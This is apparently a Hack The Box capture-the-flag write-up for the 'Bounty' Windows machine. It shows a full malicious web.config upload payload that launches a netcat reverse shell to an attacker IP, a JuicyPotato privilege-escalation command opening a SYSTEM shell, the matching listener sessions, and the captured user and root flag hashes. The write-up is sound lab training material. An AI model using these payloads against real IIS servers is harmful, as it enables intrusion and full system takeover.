

HacktheBox

BOUNTY WRITEUP

Index

| | | |
|---|----------------------------|---|
| 1 | FOOTHOLD | 3 |
| 2 | USER PRIVILEGE ESCALATION | 3 |
| 3 | ADMIN PRIVILEGE ESCALATION | 4 |



1 FOOHOLD

Autorecon (gobuster) found transfer.aspx on port 80

```

/aspnet_client (Status: 301) [Size: 159]
/transfer.aspx (Status: 200) [Size: 941]
/uploadedfiles (Status: 301) [Size: 159]
- Nikto v2.1.6

```

Transfer.aspx shows a form to upload file, however only a few file extensions are allowed.



2 USER PRIVILEGE ESCALATION

After some tests, it was found out that the .jpg and .config extensions are whitelisted, so it is possible to upload a web.config file and obtain a reverse shell: first it was uploaded the nc.exe file (renamed as nc.jpg) then [this web.config template](#) was modified to rename .jpg to .exe and execute a reverse shell.

```

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
  <system.web>
    <customErrors mode="Off"/>
  </system.web>
  <system.webServer>
    <handlers accessPolicy="Read, Script, Write">
      <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" precondition="bitness64" />
    </handlers>
    <security>
      <requestFiltering>
        <fileExtensions>
          <remove fileExtension="*.config" />
        </fileExtensions>
        <hiddenSegments>
          <remove segment="web.config" />
        </hiddenSegments>
      </requestFiltering>
    </security>
  </system.webServer>
  <appSettings>
  </appSettings>
</configuration>
<!--
<% Response.write("-*6*-")
Response.write("<pre>")
Set wShell1 = CreateObject("WScript.Shell")
Set cmd1 = wShell1.Exec("cmd /c rename c:\inetpub\wwwroot\uploadedfiles\nc.jpg nc.exe 66 c:\inetpub\wwwroot\uploadedfiles\nc.exe 10.10.14.16 443 -e cmd.exe")
output1 = cmd1.StdOut.ReadAll()
Set cmd1 = nothing: Set wShell1 = nothing
Response.write(output1)
Response.write("</pre><!--*6*-") %>
-->

```

```

kali@kali-gio:~/hackthebox/Bounty$ sudo nc -lvp 443
[sudo] password for kali:
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
ls
whoami
Ncat: Connection from 10.10.10.93.
Ncat: Connection from 10.10.10.93:49157.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

c:\windows\system32\inetsrv>ls
'ls' is not recognized as an internal or external command,
operable program or batch file.

c:\windows\system32\inetsrv>whoami
bounty\merlin

c:\windows\system32\inetsrv>

```

```

c:\Users\merlin\Desktop>dir /ah
dir /ah
Volume in drive C has no label.
Volume Serial Number is 5084-30B0

Directory of c:\Users\merlin\Desktop

05/29/2018  11:22 PM                282 desktop.ini
05/30/2018  10:32 PM                 32 user.txt
                2 File(s)                314 bytes
                0 Dir(s)  11,884,408,832 bytes free

c:\Users\merlin\Desktop>type user.txt
type user.txt
e29ad89891462e0b09741e3082f44a2f
c:\Users\merlin\Desktop>

```

3 ADMIN PRIVILEGE ESCALATION

The windows installation shows no security patches and hotfixes installed, also the current user has the SeImpersonatePrivilege enabled, so I tried to escalate privileges with JuicyPotato.exe.

```

c:\Users\merlin\Desktop>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
-----
Privilege Name            Description                State
-----
SeAssignPrimaryTokenPrivilege  Replace a process level token  Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process  Disabled
SeAuditPrivilege              Generate security audits        Disabled
SeChangeNotifyPrivilege       Bypass traverse checking        Enabled
SeImpersonatePrivilege        Impersonate a client after authentication  Enabled
SeIncreaseWorkingSetPrivilege  Increase a process working set    Disabled

```

```
c:\Users\merlin\Desktop>systeminfo
systeminfo

Host Name:                BOUNTY
OS Name:                  Microsoft Windows Server 2008 R2 Datacenter
OS Version:              6.1.7600 N/A Build 7600
OS Manufacturer:        Microsoft Corporation
OS Configuration:        Standalone Server
OS Build Type:            Multiprocessor Free
Registered Owner:        Windows User
Registered Organization:
Product ID:               55041-402-3606965-84760
Original Install Date:    5/30/2018, 12:22:24 AM
System Boot Time:         1/11/2021, 7:13:59 PM
System Manufacturer:      VMware, Inc.
System Model:              VMware Virtual Platform
System Type:              x64-based PC
Processor(s):              1 Processor(s) Installed.
                          [01]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz
BIOS Version:             Phoenix Technologies LTD 6.00, 12/12/2018
Windows Directory:        C:\Windows
System Directory:         C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:              en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC+02:00) Athens, Bucharest, Istanbul
Total Physical Memory:     2,047 MB
Available Physical Memory: 1,638 MB
Virtual Memory: Max Size:  4,095 MB
Virtual Memory: Available: 3,660 MB
Virtual Memory: In Use:    435 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              N/A
Hotfix(s):                 N/A
Network Card(s):           1 NIC(s) Installed.
                          [01]: Intel(R) PRO/1000 MT Network Connection
                              Connection Name: Local Area Connection
                              DHCP Enabled:    No
                              IP address(es)
                              [01]: 10.10.10.93
```

```
c:\Users\merlin\Desktop>patata.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\users\merlin\Desktop\nc.exe -e cmd.exe 10.10.14.16 444" -t *
patata.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\users\merlin\Desktop\nc.exe -e cmd.exe 10.10.14.16 444" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
....
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

c:\Users\merlin\Desktop>
```

```
kali@kali-gio:~/hackthebox/Bounty$ sudo nc -lvnp 444
[sudo] password for kali:
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::444
Ncat: Listening on 0.0.0.0:444
Ncat: Connection from 10.10.10.93.
Ncat: Connection from 10.10.10.93:49162.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system
```

```
c:\Users\Administrator\Desktop>type root.txt
type root.txt
c837f7b699feef5475a0c079f9d4f5ea
c:\Users\Administrator\Desktop>cd ..
cd ..

c:\Users\Administrator>
```